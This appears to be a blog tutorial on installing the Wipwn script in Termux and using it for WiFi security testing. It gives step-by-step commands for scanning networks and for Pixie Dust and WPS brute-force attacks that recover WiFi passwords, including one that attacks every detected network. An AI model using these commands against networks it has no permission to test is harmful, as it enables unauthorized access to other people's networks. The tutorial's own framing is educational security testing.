Ethical WiFi Hacking with Termux: A Guide to Wipwn

Originally published at TerminalTools

Did you know some WiFi networks can be compromised using simple tools? The real question is: how secure is yours?

WiFi security is more critical than ever, yet many networks remain vulnerable. Ethical hackers and security professionals use specialized tools to identify and fix security flaws before malicious attackers exploit them. One such tool is Wipwn, a script designed for WiFi security testing in Termux.

This guide will walk you through installing and using Wipwn in Termux to test WiFi security responsibly.

What You’ll Learn

• Installing Wipwn on Termux
• Scanning for vulnerable networks
• Running Pixie Dust and WPS brute-force attacks (for ethical research)
• Troubleshooting common issues

⚠️ Disclaimer: This guide is for educational purposes only. Never test a network without explicit permission.

Requirements

Before using Wipwn, ensure you have the following:

1. Rooted Android device – Root access is essential for running Wipwn.
2. Termux installed – A terminal emulator that enables Linux-based security tools on Android.
3. Required dependencies – Wipwn needs Python, Pixiewps, WPA-Supplicant, and other tools (installation steps provided below).

How to Install Wipwn in Termux

Step 1: Update Termux Packages
First, update and upgrade your Termux packages to avoid compatibility issues:

apt update && apt upgrade -y

Step 2: Install Required Tools
Wipwn requires additional repositories and tools. Install them using:

apt install root-repo -y  
apt install git tsu python wpa-supplicant pixiewps iw -y

Step 3: Clone the Wipwn Repository
Now, download Wipwn from GitHub:

git clone https://github.com/anbuinfosec/wipwn

Step 4: Set Up Wipwn
Navigate to the Wipwn directory and set the necessary permissions:

cd wipwn  
chmod +x main.py

Wipwn is now installed and ready to use!

How to Use Wipwn for Ethical WiFi Testing

Step 1: View Available Commands
To see all available options, run:

sudo python main.py --help

Step 2: Scan for WiFi Networks
To detect nearby WiFi networks, run:

sudo python main.py -i wlan0 -K

Note: The default network interface is wlan0. If your device uses a different one (e.g., wlan1 or eth0), replace wlan0 accordingly.
To check your network interface, use:

iw dev

Step 3: Run a Pixie Dust Attack
Pixie Dust exploits weaknesses in WPS (WiFi Protected Setup) to retrieve the WiFi password.

Attack All Detected Networks

sudo python main.py -i wlan0 -K

Attack a Specific Network (Using BSSID)

sudo python main.py -i wlan0 -b 00:91:4C:C3:AC:28 -K

Step 4: Perform a WPS Brute-Force Attack
If the Pixie Dust attack fails, you can try brute-forcing the WPS PIN.

Basic Brute-Force Attack

sudo python main.py -i wlan0 -b 50:0F:F5:B0:08:05 -B

Speed Up with Partial PIN Knowledge

If you know part of the PIN, you can speed up the attack:

sudo python main.py -i wlan0 -b 50:0F:F5:B0:08:05 -B -p 1234

Troubleshooting Common Issues

Error: Device or resource busy (-16)
Fix:

• Enable WiFi
• Disable WiFi again

Error: No interface found
Fix:

• Ensure your device supports monitor mode
• If unrooted, consider using Kali NetHunter for additional functionality

---

Final Thoughts
Wipwn is a powerful tool for learning about WiFi security and identifying vulnerabilities in modern networks.